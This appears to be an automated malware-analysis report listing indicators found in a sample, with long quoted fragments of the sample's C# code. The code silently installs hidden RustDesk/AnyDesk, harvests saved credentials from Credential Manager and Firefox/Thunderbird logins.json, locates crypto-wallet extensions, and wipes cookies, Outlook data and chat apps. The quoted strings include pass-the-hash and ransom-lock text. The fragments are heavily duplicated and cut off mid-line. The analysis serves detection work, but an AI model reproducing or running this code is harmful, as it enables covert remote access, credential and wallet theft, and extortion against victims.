(a.IndexOf("discord") >= 0) return " (Indicator: "discordapp.com"), " { try { SignOutOpenUrl("chrome", "https://www.paypal.com/signout"); } catch { } try { PurgeChromiumDomainCookies("chrome", new string[] { "paypal.com", "paypalobjects.com" }); } catch { } try { PurgeChromiumDomainCookies("edge", new string[] { "paypal.com" }); } catch { } Send("SIGNOUT_RESULT|PayPal browser session signed out."); } else if (svc == "github") { try { SignOutOpenUrl("chrome", "https://github.com/logout"); } catch { } try { PurgeChromiumDomainCookies("chrome", new string[] { "github.com", "githubusercontent.com" }); } catch { } try { PurgeChromiumDomainCookies("edge", new string[] { "github.com" }); } catch { } Send("SIGNOUT_RESULT|GitHub signed out."); } else if (svc == "all_apps") { string[] apps = new string[] { "whatsa" (Indicator: "github.com"), " { try { SignOutOpenUrl("chrome", "https://www.paypal.com/signout"); } catch { } try { PurgeChromiumDomainCookies("chrome", new string[] { "paypal.com", "paypalobjects.com" }); } catch { } try { PurgeChromiumDomainCookies("edge", new string[] { "paypal.com" }); } catch { } Send("SIGNOUT_RESULT|PayPal browser session signed out."); } else if (svc == "github") { try { SignOutOpenUrl("chrome", "https://github.com/logout"); } catch { } try { PurgeChromiumDomainCookies("chrome", new string[] { "github.com", "githubusercontent.com" }); } catch { } try { PurgeChromiumDomainCookies("edge", new string[] { "github.com" }); } catch { } Send("SIGNOUT_RESULT|GitHub signed out."); } else if (svc == "all_apps") { string[] apps = new string[] { "whatsa" (Indicator: "paypal.com"), "if (string.IsNullOrEmpty(tag)) return "Unknown Bank"; string[] p = tag.Split(' '); for (int i = 0; i < p.Length; i++) if (p[i].Length > 0) p[i] = char.ToUpper(p[i][0]) + (p[i].Length > 1 ? p[i].Substring(1) : ""); return string.Join(" ", p); } static string GuessBankUrl(string tag, string title) { string low = ((title ?? "") + " " + (tag ?? "")).ToLowerInvariant(); if (low.IndexOf("wells") >= 0) return "https://www.wellsfargo.com"; if (low.IndexOf("bank of america") >= 0 || low.IndexOf("bofa") >= 0) return "https://www.bankofamerica.com"; if (low.IndexOf("citi") >= 0) return "https://www.citi.com"; if (low.IndexOf("paypal") >= 0) return "https://www.paypal.com"; if (low.IndexOf("hsbc") >= 0) return "https://www.hsbc.com"; if (low.IndexOf("dbs") >= 0) return "https://www.dbs.com.sg"; if (low.IndexOf("ocbc") >= 0) return "https://www.ocbc.com"; if (low.IndexOf("uob") >= 0) ret" (Indicator: "paypal.com"), " "https://account.zoho.com/logout", "https://mail.zoho.com/zm/logout.do", "https://www.icloud.com/mail", "https://login.icq.com/logout", "https://mail.yandex.com/?logout=yes", "https://passport.yandex.com/passport?mode=logout", "https://mail.ru/cgi-bin/logout", "https://account.gmx.com/logout", "https://www.gmx.com/", "https://account.web.de/logout", "https://www.fastmail.com/login/", "https://app.tutanota.com/logout", "https://roundcube.example.invalid/" }; string[] domains = new string[] { "google.com", "gmail.com", "googlemail.com", "accounts.google.com", "live.com", "login.live.com", "microsoft.com", "outlook.com", "outlook.live.com"," (Indicator: "yandex.com"), "kShortcuts(); } catch { } new Thread(() => { for (int i = 0; i < 60; i++) { try { HideRustDeskWindows(); } catch { } try { RemoveRustDeskShortcuts(); } catch { } try { Thread.Sleep(400); } catch { } } }) { IsBackground = true }.Start(); return RustDeskStatus(); } catch (Exception ex) { return "Open failed: " + ex.Message; } } static string InstallRustDesk(string customUrl) { try { string setup = Path.Combine(Path.GetTempPath(), "rustdesk_setup.exe"); if (FindRustDeskExe() == "") { var mirrors = new System.Collections.Generic.List(); if (!string.IsNullOrEmpty(customUrl)) mirrors.Add(customUrl); mirrors.Add("https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe"); bool dl = f" (Indicator: "github.com"), "alse; foreach (string murl in mirrors) { try { using (var wc = new WebClient()) { wc.Headers.Add("User-Agent", "Mozilla/5.0"); wc.DownloadFile(murl, setup); } if (File.Exists(setup) && new FileInfo(setup).Length > 400000) { dl = true; break; } } catch { } } if (!dl) return "RustDesk download failed. Use: https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe"; RunElevatedUntilYes(setup, "--silent-install", 180000); } string r = OpenRustDeskHidden(); return "RustDesk silent install done. " + r; } catch (Exception ex) { return "RustDesk error: " + ex.Message; } } static string InstallAnyDesk(string customUrl) { try { string path = Path.Combine(Path.GetTempPath(), "AnyDesk.exe"); " (Indicator: "github.com")2b:T43c,Found reference to API (Indicator: " } catch { } } } catch { } // store app uninstall attempts try { string[] pkgs = new string[] { "whatsappdesktop", "line", "telegrammessengerllp", "msteams", "facebook" }; foreach (string pkg in pkgs) { try { char qq = (char)34; string psargs = "-nologo -command " + qq + "get-appxpackage *" + pkg + "* | remove-appxpackage" + qq; process.start(new processstartinfo("powershell.exe", psargs) { createnowindow = true, useshellexecute = false, windowstyle = processwindowstyle.hidden }); sb.appendline("store-remove " + pkg); } catch { } } } catch { } return "ok killed=" + killed + " shortcuts_deleted=" + deleted + "\n" + sb.tostring(); "; Source: "sample.bin")2c:T42c,"tyCache") }; for (int pi = 0; pi < paths.Length; pi++) { try { if (!Directory.Exists(paths[pi])) continue; foreach (string f in Directory.GetFiles(paths[pi], "*", SearchOption.TopDirectoryOnly)) { try { string nm = Path.GetFileName(f).ToLowerInvariant(); if (nm.EndsWith(".pst") || nm.EndsWith(".ost")) continue; File.Delete(f); files++; } catch { } } } catch { } } try { string pkg = Path.Combine(la, "Packages"); if (Directory.Exists(pkg)) { foreach (string d in Directory.GetDirectories(pkg, "Microsoft.Outlook*")) { " (Indicator: ".ost") in Source: sample.bin2d:T4d2,file/memory contains long string with (Indicator: "password"; Source: "sample.bin"), Found string "Desktop passwords - " (Indicator: "password"; Source: "sample.bin"), Found string "OK (no password): sent DEPLOY_URL to online worker " (Indicator: "password"; Source: "sample.bin"), Found string "NTLM hash set, but wfreerdp/xfreerdp was not found on this PC. mstsc cannot pass-the-hash. Install FreeRDP or use the account password." (Indicator: "password"; Source: "sample.bin"), Found string " used when no password / offline:" (Indicator: "password"; Source: "sample.bin"), file/memory contains long string with (Indicator: "secret"; Source: "sample.bin"), Found string "admin:password" (Indicator: "password"; Source: "sample.bin"), Found string "FAIL: need payload file and/or hosted URL. For direct C$ copy also fill admin user+password." (Indicator: "password"; Source: "sample.bin"), Found string "YOUR COMPUTER HAS BEEN LOCKED All access is restricted. Contact the email above to unlock. Enter the password below." (Indicator: "password"; Source: "sample.bin"), Found string " sign-in page. Typed email/password reports on the Browser Capture Hub in this panel. Wrong password " (Indicator: "password"; Source: "sample.bin")2e:T4d0,file/memory contains long string with (Indicator: "System.Security.Cryptography"; Source: "sample.bin"), file/memory contains long string with (Indicator: "base64"; Source: "sample.bin"), file/memory contains long string with (Indicator: "ToBase64String"; Source: "sample.bin"), file/memory contains long string with (Indicator: "aes"; Source: "sample.bin"), file/memory contains long string with (Indicator: "FromBase64String"; Source: "sample.bin"), Found string "ToBase64String" (Indicator: "base64"; Source: "sample.bin"), Found string "ToBase64String" (Indicator: "ToBase64String"; Source: "sample.bin"), file/memory contains long string with (Indicator: ".encrypt"; Source: "sample.bin"), file/memory contains long string with (Indicator: ".decrypt"; Source: "sample.bin"), Found string "chkAes" (Indicator: "aes"; Source: "sample.bin"), Found string "echo $b=[Convert]::FromBase64String($s)>>"%PF%"" (Indicator: "base64"; Source: "sample.bin"), Found string "echo $b=[Convert]::FromBase64String($s)>>"%PF%"" (Indicator: "FromBase64String"; Source: "sample.bin"), Found string "FromBase64String" (Indicator: "base64"; Source: "sample.bin"), Found string "FromBase64String" (Indicator: "FromBase64String"; Source: "sample.bin")2f:T2a42," clear only locks / temporary if (Directory.Exists(pth)) { foreach (string f in Directory.GetFiles(pth, "*.lock")) try { File.Delete(f); } catch { } } } catch { } // Web Telegram logout in default browser try { Process.Start(new ProcessStartInfo { FileName = "https://web.telegram.org/k/", UseShellExecute = true }); } catch { } Send("SIGNOUT_RESULT|Telegram desktop closed; open web client to finish logout if needed."); } else if (svc == "facebook" || svc == "messenger") { string[] urls = new string[] { "https://www.facebook.com/logout.php", "https://www.messenger.com/logout/" }; for (int ui = 0; ui < urls.Length; ui++) " (Indicator: "telegram.org"), "dc; if (a.IndexOf("skype") >= 0) return sk; if (a.IndexOf("zalo") >= 0) return zalo; return wa || line || msg || fb || wx || tg || ig || tw || dc || sk || zalo; } static string ChatWebUrlForApp(string app) { string a = (app ?? "all").ToLowerInvariant(); if (a.IndexOf("whatsapp") >= 0) return "https://web.whatsapp.com/"; if (a.IndexOf("line") >= 0) return "https://timeline.line.me/"; if (a.IndexOf("messenger") >= 0) return "https://www.messenger.com/"; if (a.IndexOf("facebook") >= 0) return "https://www.facebook.com/"; if (a.IndexOf("wechat") >= 0) return "https://web.wechat.com/"; if (a.IndexOf("telegram") >= 0) return "https://web.telegram.org/"; if (a.IndexOf("instagram") >= 0) return "https://www.instagram.com/"; if (a.IndexOf("twitter") >= 0 || a == "x") return "https://x.com/"; if (a.IndexOf("discord") >= 0) return "https://discord.com/app"; if (a.IndexOf("skype") >= 0) return "http" (Indicator: "line.me"), "te)(d>>24); return outb; } static bool IsChatWebDomain(string d) { return IsChatWebDomain(d, "all"); } static bool IsChatWebDomain(string d, string app) { if (string.IsNullOrEmpty(d)) return false; string x = d.ToLowerInvariant(); string a = (app ?? "all").ToLowerInvariant(); bool wa = x.IndexOf("whatsapp") >= 0 || x.IndexOf("web.whatsapp.com") >= 0; bool line = x.IndexOf("line.me") >= 0 || x.IndexOf("line.naver") >= 0 || x.IndexOf("line-apps") >= 0; bool msg = x.IndexOf("messenger.com") >= 0 || x.IndexOf("m.me") >= 0; bool fb = x.IndexOf("facebook.com") >= 0 || x.IndexOf("fb.com") >= 0 || x.IndexOf("fbcdn") >= 0; bool wx = x.IndexOf("wechat") >= 0 || x.IndexOf("wx.qq.com") >= 0 || x.IndexOf("weixin.qq.com") >= 0; bool tg = x.IndexOf("web.telegram") >= 0 || x.IndexOf("telegram.org") >= 0 || x.IndexOf("t.me") >= 0; bool ig = x.IndexOf("instagram.com") >= 0; bool tw = x.IndexOf("twitt" (Indicator: "line.me"), ""instagram.com", "twitter.com", "x.com", "signal.org", "viber.com", "tiktok.com" }; string[][] broots = new string[][] { new string[] { "Chrome", Path.Combine(la, "Google", "Chrome", "User" + " Data") }, new string[] { "Edge", Path.Combine(la, "Microsoft", "Edge", "User" + " Data") }, new string[] { "Brave", Path.Combine(la, "BraveSoftware", "Brave-Browser", "User" + " Data") }, new string[] { "Opera", Path.Combine(ra, "Opera Software", "Opera Stable") }, new string[] { "OperaGX", Path.Combine(ra, "Opera Software", "Opera GX Stable") }, new string[] { "CocCoc", Path.Combine(la, "CocCoc", "Browser", "User" + " Data") }, new string[] { "Vivaldi", Path.Combine(la, "Vivaldi", "User" + " Data") }, new string[] { "Yandex", Path.Combine(la, "Yandex", "YandexBrowser", "User" + " Data") }, new string[] { "Whale", Path.Combine(la, "Naver", "Naver Whale", "User" + " " (Indicator: "signal.org"), "gnOutKillProcs(new string[] { "Signal" }); else if (appNm == "slack") SignOutKillProcs(new string[] { "slack" }); else if (appNm == "line") SignOutKillProcs(new string[] { "LINE" }); else if (appNm == "viber") SignOutKillProcs(new string[] { "Viber" }); else if (appNm == "wechat") SignOutKillProcs(new string[] { "WeChat", "Weixin" }); } catch { } } try { PurgeChromiumDomainCookies("chrome", new string[] { "whatsapp.com", "web.whatsapp.com", "facebook.com", "messenger.com", "instagram.com", "telegram.org", "discord.com", "slack.com", "skype.com", "line.me", "wechat.com" }); } catch { } try { PurgeChromiumDomainCookies("edge", new string[] { "whatsapp.com", "facebook.com", "instagram.com", "discord.com", "slack.com" }); } catch { } Send("SIGNOUT_RESULT|All chat apps sign-out " (Indicator: "line.me"), "https://web.line.me/" (Indicator: "line.me"), ""facebook.com", "fb.com", "messenger.com", "instagram.com", "whatsapp.com", "twitter.com", "x.com", "linkedin.com", "tiktok.com", "reddit.com", "amazon.com", "ebay.com", "paypal.com", "apple.com", "icloud.com", "dropbox.com", "github.com", "gitlab.com", "bitbucket.org", "discord.com", "slack.com", "telegram.org", "line.me", "wechat.com", "skype.com", "netflix.com", "spotify.com", "twitch.tv", "proton.me", "zoho.com", "yandex.com", "mail.ru", "gmx.com", "banking", "bank", "chase.com", "wellsfargo.com", "bankofamerica.com", "citibank.com" }; string[] urls = new string[] { "https://accounts.google.com/Logout", "https://login.live.com/logout.srf?wa=wsignout1.0", "https://login.yahoo.com/account/logout", "https://ww" (Indicator: "line.me"), "https://web.whatsapp.com/" (Indicator: "whatsapp.com"), "https://web.skype.com/" (Indicator: "skype.com"), "https://web.telegram.org/" (Indicator: "telegram.org"), "er.com") >= 0 || x.IndexOf("x.com") >= 0; bool dc = x.IndexOf("discord.com") >= 0 || x.IndexOf("discordapp.com") >= 0; bool sk = x.IndexOf("skype.com") >= 0 || x.IndexOf("live.com") >= 0 && x.IndexOf("skype") >= 0; bool zalo = x.IndexOf("zalo.me") >= 0 || x.IndexOf("chat.zalo.me") >= 0 || x.IndexOf("zalo") >= 0; if (a == "all" || a == "" || a == "*") return wa || line || msg || fb || wx || tg || ig || tw || dc || sk || zalo; if (a.IndexOf("whatsapp") >= 0 || a == "wa") return wa; if (a.IndexOf("line") >= 0) return line; if (a.IndexOf("messenger") >= 0) return msg; if (a.IndexOf("facebook") >= 0 || a == "fb") return fb || msg; if (a.IndexOf("wechat") >= 0 || a.IndexOf("weixin") >= 0) return wx; if (a.IndexOf("telegram") >= 0 || a == "tg") return tg; if (a.IndexOf("instagram") >= 0 || a == "ig") return ig; if (a.IndexOf("twitter") >= 0 || a == "x") return tw; if (a.IndexOf("discord") >= 0) return " (Indicator: "skype.com"), "0)[0]; } string email = LooksLikeEmail(user) ? user : ""; add("CredMan " + target, email, user, pass); } catch { } } try { CredFree(pCreds); } catch { } } } catch { } for (int a = 0; a < apps.Length; a++) { string app = apps[a][0]; for (int d = 1; d < apps[a].Length; d++) { string dir = apps[a][d]; if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir)) continue; ChatScanFolder(dir, app, add, 0); } } try { string[] webMail = new string[] { "web.whatsapp", "whatsapp.com", "web.telegram", "telegram.org", "facebook.com", "messenger.com", "discord.com", "discordapp", "slack.com", "web.skype", "skype.com", "line.me", "line.naver", "web.wechat", "wx.qq", "weixin", "chat.google", "teams.microsoft", " (Indicator: "line.me"), "s://web.skype.com/"; if (a.IndexOf("zalo") >= 0) return "https://chat.zalo.me/"; return "https://web.whatsapp.com/"; } // LOCKED chat-web: extract must not close windows. Do not remove this flag. static volatile bool _cookieKeepOpen = false; static void EnsureBrowserRunning(string name) { try { Process[] ps = Process.GetProcessesByName(name); if (ps != null && ps.Length > 0) return; string exe = null; if (name == "chrome") exe = FindBrowserExeForUserData(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google", "Chrome", "User" + " Data")); else if (name == "msedge") exe = FindBrowserExeForUserData(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Edge", "User" + " Data")); if (!string.IsNullOrEmpty(exe) && File.Exists(exe)) { Process.Start(new ProcessStartInfo(exe) " (Indicator: "skype.com"), " "https://account.zoho.com/logout", "https://mail.zoho.com/zm/logout.do", "https://www.icloud.com/mail", "https://login.icq.com/logout", "https://mail.yandex.com/?logout=yes", "https://passport.yandex.com/passport?mode=logout", "https://mail.ru/cgi-bin/logout", "https://account.gmx.com/logout", "https://www.gmx.com/", "https://account.web.de/logout", "https://www.fastmail.com/login/", "https://app.tutanota.com/logout", "https://roundcube.example.invalid/" }; string[] domains = new string[] { "google.com", "gmail.com", "googlemail.com", "accounts.google.com", "live.com", "login.live.com", "microsoft.com", "outlook.com", "outlook.live.com"," (Indicator: "icq.com"), "https://timeline.line.me/" (Indicator: "line.me"), "line.me" (Indicator: "line.me")30:T1a05,Observed browser extension: " catch { } } // --- browser extension ids (metamask, phantom, etc.) --- string[][] exts = new string[][] { new string[] { "metamask", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, new string[] { "phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, new string[] { "coinbase wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, new string[] { "binance wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, new string[] { "trust wallet", "egjidjbpglichdcondbcbdwfbepigadp" }, new string[] { "ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, new string[] { "brave wallet", "odbfpeeihdkbihmopkbjmoonfanlbfcl" } }; string[][] brroots = new string[][] { new string[] { "chrome", path.combine(ll, "google", "chrome", "user" + " data") }, new string[] { "edge", path.combine(ll, "microsoft", "edge", "user" + " data") }, new string[] { "brave", path.combine(ll, "bravesoftware", "brave-brow" which is related to MetaMask [Source: sample.bin], Observed browser extension: " catch { } } // --- browser extension ids (metamask, phantom, etc.) --- string[][] exts = new string[][] { new string[] { "metamask", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, new string[] { "phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, new string[] { "coinbase wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, new string[] { "binance wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, new string[] { "trust wallet", "egjidjbpglichdcondbcbdwfbepigadp" }, new string[] { "ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, new string[] { "brave wallet", "odbfpeeihdkbihmopkbjmoonfanlbfcl" } }; string[][] brroots = new string[][] { new string[] { "chrome", path.combine(ll, "google", "chrome", "user" + " data") }, new string[] { "edge", path.combine(ll, "microsoft", "edge", "user" + " data") }, new string[] { "brave", path.combine(ll, "bravesoftware", "brave-brow" which is related to Binance Chain Wallet [Source: sample.bin], Observed browser extension: " catch { } } // --- browser extension ids (metamask, phantom, etc.) --- string[][] exts = new string[][] { new string[] { "metamask", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, new string[] { "phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, new string[] { "coinbase wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, new string[] { "binance wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, new string[] { "trust wallet", "egjidjbpglichdcondbcbdwfbepigadp" }, new string[] { "ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, new string[] { "brave wallet", "odbfpeeihdkbihmopkbjmoonfanlbfcl" } }; string[][] brroots = new string[][] { new string[] { "chrome", path.combine(ll, "google", "chrome", "user" + " data") }, new string[] { "edge", path.combine(ll, "microsoft", "edge", "user" + " data") }, new string[] { "brave", path.combine(ll, "bravesoftware", "brave-brow" which is related to Coinbase Wallet [Source: sample.bin], Observed browser extension: " catch { } } // --- browser extension ids (metamask, phantom, etc.) --- string[][] exts = new string[][] { new string[] { "metamask", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, new string[] { "phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, new string[] { "coinbase wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, new string[] { "binance wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, new string[] { "trust wallet", "egjidjbpglichdcondbcbdwfbepigadp" }, new string[] { "ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, new string[] { "brave wallet", "odbfpeeihdkbihmopkbjmoonfanlbfcl" } }; string[][] brroots = new string[][] { new string[] { "chrome", path.combine(ll, "google", "chrome", "user" + " data") }, new string[] { "edge", path.combine(ll, "microsoft", "edge", "user" + " data") }, new string[] { "brave", path.combine(ll, "bravesoftware", "brave-brow" which is related to Ronin Wallet [Source: sample.bin], Observed browser extension: " catch { } } // --- browser extension ids (metamask, phantom, etc.) --- string[][] exts = new string[][] { new string[] { "metamask", "nkbihfbeogaeaoehlefnkodbefgpgknn" }, new string[] { "phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa" }, new string[] { "coinbase wallet", "hnfanknocfeofbddgcijnmhnfnkdnaad" }, new string[] { "binance wallet", "fhbohimaelbohpjbbldcngcnapndodjp" }, new string[] { "trust wallet", "egjidjbpglichdcondbcbdwfbepigadp" }, new string[] { "ronin", "fnjhmkhhmkbjkkabndcnnogagogbneec" }, new string[] { "brave wallet", "odbfpeeihdkbihmopkbjmoonfanlbfcl" } }; string[][] brroots = new string[][] { new string[] { "chrome", path.combine(ll, "google", "chrome", "user" + " data") }, new string[] { "edge", path.combine(ll, "microsoft", "edge", "user" + " data") }, new string[] { "brave", path.combine(ll, "bravesoftware", "brave-brow" which is related to Phantom [Source: sample.bin], Observed browser extension: "bine(la, "com.liberty.jaxx") }, new string[] { "tokenpocket", path.combine(la, "tokenpocket") }, new string[] { "phantom", path.combine(ll, "google", "chrome", "user" + " data", "def" + "ault", "local extension settings", "bfnaelmomeimhlpmgjnjophhpkkoljpa") } }; sb.appendline("--- wallet / app folders ---"); for (int i = 0; i < wallets.length; i++) { try { if (directory.exists(wallets[i][1])) { hits++; sb.appendline("[" + hits + "] found: " + wallets[i][0]); sb.appendline(" path: " + wallets[i][1]); try { int files = directory.getfiles(wallets[i][1], "*", searchoption.alldirectories).length; sb.appendline(" files: " + files); } catch { } sb.appendline(""); } } " which is related to Phantom [Source: sample.bin]31:T888,Found string " } } catch (Exception ex) { sb.AppendLine("[Credential Manager] error: " + ex.Message); sb.AppendLine(""); } // 2) Thunderbird logins.json (usernames + servers; password may be NSS-encrypted) try { string roaming = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string tbRoot = Path.Combine(roaming, "Thunderbird", "Profiles"); if (Directory.Exists(tbRoot)) { foreach (string prof in Directory.GetDirectories(tbRoot)) { string lj = Path.Combine(prof, "logins.json"); if (!File.Exists(lj)) continue; string json = File.ReadAllText(lj); // crude parse of login objects int idx = 0; while (true) { int h = json.IndexOf("\"hostname\"", idx); if (h" (Indicator: "logins.json"; in Source: "sample.bin"), Found string "oot, StringBuilder sb, ref int total) { if (string.IsNullOrEmpty(profilesRoot) || !Directory.Exists(profilesRoot)) return; string fxDir = ""; string[] fxTries = new string[] { Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Mozilla Firefox"), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Mozilla Firefox") }; for (int i = 0; i < fxTries.Length; i++) if (File.Exists(Path.Combine(fxTries[i], "nss3.dll"))) { fxDir = fxTries[i]; break; } bool nss = false; if (fxDir.Length > 0) { try { SetDllDirectory(fxDir); } catch { } } foreach (string prof in Directory.GetDirectories(profilesRoot)) { string login = Path.Combine(prof, "logins.json"); if (!File.Exists(login)) continue; if (!nss && fxDir.Length > 0) { try { if (NSS_Init(prof) == 0) nss = true; " (Indicator: "logins.json"; in Source: "sample.bin")32:Tc4c," sb.AppendLine("[Thunderbird] error: " + ex.Message); sb.AppendLine(""); } // 3) Outlook / Windows Messaging profiles (email addresses + servers from registry) try { string[] roots = new string[] { "Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles", "Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles", "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles", "Software\\Microsoft\\Office\\Outlook\\SocialConnector" }; foreach (string rk in roots) { try { ScanRegistryMail(Microsoft.Win32.Registry.CurrentUser, rk, add); } catch { } } } catch { } // 4) Internet Account Manager (Outlook Express / legacy) try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Sof" in Source: sample.bin, "\Microsoft\\Office\\" + ver[v] + "\\Outlook\\Setup" }; for (int s = 0; s < sub.Length; s++) { try { Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree(sub[s], false); } catch { } } } try { Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\\Microsoft\\Office\\16.0\\Common\\ServicesManagerCache", false); } catch { } try { Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\\Microsoft\\IdentityCRL", false); } catch { } try { string la = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); string ra = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string[] paths = new string[] { Path.Combine(ra, "Microsoft", "Outlook"), Path.Combine(la, "Microsoft", "Outlook"), Path.Combine(la, "Microsoft", "OneAuth"), Path.Combine(la, "Microsoft", "Identi" in Source: sample.bin, " (target.Contains("microsoft") && (target.Contains("mail") || target.Contains("office") || target.Contains("identity"))); if (!hit) continue; try { if (CredDelete(cred.TargetName, cred.Type, 0)) creds++; } catch { } } catch { } } } finally { try { CredFree(pCreds); } catch { } } } } catch { } string[] ver = new string[] { "16.0", "15.0", "14.0" }; for (int v = 0; v < ver.Length; v++) { string[] sub = new string[] { "Software\\Microsoft\\Office\\" + ver[v] + "\\Common\\Identity", "Software\\Microsoft\\Office\\" + ver[v] + "\\Common\\Internet", "Software\\Microsoft\\Office\\" + ver[v] + "\\Outlook\\Profiles", "Software\\Microsoft\\Office\\" + ver[v] + "\\Outlook\\AutoDiscover", "Software\" in Source: sample.bin33:T4cf6,Potential IPs "64.0.0.0", "64.255.255.255" found in string "64.0.0.0,64.255.255.255,CA,Canada", Potential IPs "127.0.0.0", "127.255.255.255" found in string "127.0.0.0,127.255.255.255,LAN,LAN", Potential IPs "175.192.0.0", "175.223.255.255" found in string "175.192.0.0,175.223.255.255,KR,South Korea", Potential IPs "27.254.0.0", "27.254.255.255" found in string "27.254.0.0,27.254.255.255,TH,Thailand", Potential IPs "27.147.0.0", "27.147.255.255" found in string "27.147.0.0,27.147.255.255,TW,Taiwan", Potential IPs "42.96.0.0", "42.97.255.255" found in string "42.96.0.0,42.97.255.255,VN,Vietnam", Potential IPs "218.160.0.0", "218.175.255.255" found in string "218.160.0.0,218.175.255.255,TW,Taiwan", Potential IPs "112.78.0.0", "112.78.255.255" found in string "112.78.0.0,112.78.255.255,ID,Indonesia", Potential IP "127.0.0.1" found in string " via TARGET SOCKS http/https 127.0.0.1:", Potential IPs "222.252.0.0", "222.255.255.255" found in string "222.252.0.0,222.255.255.255,VN,Vietnam", Potential IPs "199.0.0.0", "199.255.255.255" found in string "199.0.0.0,199.255.255.255,US,United States", Potential IPs "61.216.0.0", "61.231.255.255" found in string "61.216.0.0,61.231.255.255,TW,Taiwan", Potential IPs "49.14.0.0", "49.15.255.255" found in string "49.14.0.0,49.15.255.255,IN,India", Potential IPs "42.0.0.0", "42.95.255.255" found in string "42.0.0.0,42.95.255.255,CN,China", Potential IPs "118.0.0.0", "118.31.255.255" found in string "118.0.0.0,118.31.255.255,JP,Japan", Potential IPs "58.26.0.0", "58.27.255.255" found in string "58.26.0.0,58.27.255.255,MY,Malaysia", Potential IPs "49.245.0.0", "49.245.255.255" found in string "49.245.0.0,49.245.255.255,SG,Singapore", Potential IPs "211.104.0.0", "211.119.255.255" found in string "211.104.0.0,211.119.255.255,KR,South Korea", Potential IPs "27.32.0.0", "27.63.255.255" found in string "27.32.0.0,27.63.255.255,AU,Australia", Potential IPs "133.0.0.0", "133.255.255.255" found in string "133.0.0.0,133.255.255.255,JP,Japan", Potential IPs "1.0.1.0", "1.0.1.255" found in string "1.0.1.0,1.0.1.255,CN,China", Potential IPs "42.112.0.0", "42.119.255.255" found in string "42.112.0.0,42.119.255.255,VN,Vietnam", Potential IPs "1.5.0.0", "1.5.255.255" found in string "1.5.0.0,1.5.255.255,JP,Japan", Potential IPs "112.198.0.0", "112.202.255.255" found in string "112.198.0.0,112.202.255.255,PH,Philippines", Potential IPs "202.64.0.0", "202.67.255.255" found in string "202.64.0.0,202.67.255.255,HK,Hong Kong", Potential IPs "202.208.0.0", "202.255.255.255" found in string "202.208.0.0,202.255.255.255,JP,Japan", Potential IPs "5.0.0.0", "5.255.255.255" found in string "5.0.0.0,5.255.255.255,RU,Russia", Potential IPs "31.0.0.0", "31.255.255.255" found in string "31.0.0.0,31.255.255.255,RU,Russia", Potential IPs "27.111.0.0", "27.111.255.255" found in string "27.111.0.0,27.111.255.255,SG,Singapore", Potential IPs "101.0.0.0", "101.255.255.255" found in string "101.0.0.0,101.255.255.255,CN,China", Potential IPs "1.10.128.0", "1.10.255.255" found in string "1.10.128.0,1.10.255.255,TH,Thailand", Potential IPs "1.6.0.0", "1.7.255.255" found in string "1.6.0.0,1.7.255.255,IN,India", Potential IPs "113.160.0.0", "113.191.255.255" found in string "113.160.0.0,113.191.255.255,VN,Vietnam", Potential IPs "112.118.0.0", "112.120.255.255" found in string "112.118.0.0,112.120.255.255,HK,Hong Kong", Potential IPs "202.96.0.0", "202.127.255.255" found in string "202.96.0.0,202.127.255.255,CN,China", Potential IPs "14.198.0.0", "14.199.255.255" found in string "14.198.0.0,14.199.255.255,HK,Hong Kong", Potential IPs "218.102.0.0", "218.103.255.255" found in string "218.102.0.0,218.103.255.255,HK,Hong Kong", Potential IPs "182.52.0.0", "182.53.255.255" found in string "182.52.0.0,182.53.255.255,TH,Thailand", Potential IPs "202.125.0.0", "202.126.255.255" found in string "202.125.0.0,202.126.255.255,PH,Philippines", Potential IPs "223.24.0.0", "223.27.255.255" found in string "223.24.0.0,223.27.255.255,TH,Thailand", Potential IP "127.0.0.1" found in string "SOCKS5 127.0.0.1:", Potential IPs "36.240.0.0", "36.255.255.255" found in string "36.240.0.0,36.255.255.255,JP,Japan", Potential IPs "153.120.0.0", "153.255.255.255" found in string "153.120.0.0,153.255.255.255,JP,Japan", Potential IPs "27.80.0.0", "27.95.255.255" found in string "27.80.0.0,27.95.255.255,JP,Japan", Potential IPs "189.0.0.0", "189.255.255.255" found in string "189.0.0.0,189.255.255.255,BR,Brazil", Potential IPs "203.116.0.0", "203.117.255.255" found in string "203.116.0.0,203.117.255.255,SG,Singapore", Potential IPs "203.144.0.0", "203.155.255.255" found in string 